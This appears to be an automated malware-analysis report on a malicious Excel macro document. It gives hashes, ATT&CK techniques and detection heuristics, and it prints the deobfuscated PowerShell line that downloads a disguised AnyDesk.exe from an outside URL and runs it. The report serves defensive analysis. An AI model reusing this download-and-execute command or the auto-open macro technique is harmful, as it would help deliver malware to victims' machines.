Office (OLE) / .XLS malware analysis — malicious · f4177fb3986e1f8c

MALICIOUS

Office (OLE) / .XLS

73.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: 5906faf9c6f5092a70faba0e4ab48a61 SHA-1: d8a863a3df25f2dad2cad2de84f000ea586fb988 SHA-256: f4177fb3986e1f8c74df732b13752ece8d3dbb2e2ea6969b0cf328fc71ebd400

180 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.002 Spearphishing Attachment T1059.005 Visual Basic

The Workbook_Open macro executes a PowerShell command that downloads a second-stage executable named AnyDesk.exe from the URL http://thepunchlineexpose.com/wp-includes/certificates/AnyDesk.exe and saves it as C:\Users\Public\Documents\writerlast.exe. The script then executes the downloaded file. The PowerShell command is constructed by concatenating strings and special characters, which are then reconstructed to form the full command: powershell -w hi sleep -Se 31;Start-BitsTransfer -Source http://thepunchlineexpose.com/wp-includes/certificates/AnyDesk.exe -Destination C:\Users\Public\Documents\writerlast.exe;C:\Users\Public\Documents\writerlast.exe. The file is an Excel spreadsheet with VBA macros, indicating a likely spearphishing attachment delivery method.

Heuristics 5

Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `284f3fbe8f8d52a3c80a89c357bb8e3199390894fbb660cfa23333b46da14d5a`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1201 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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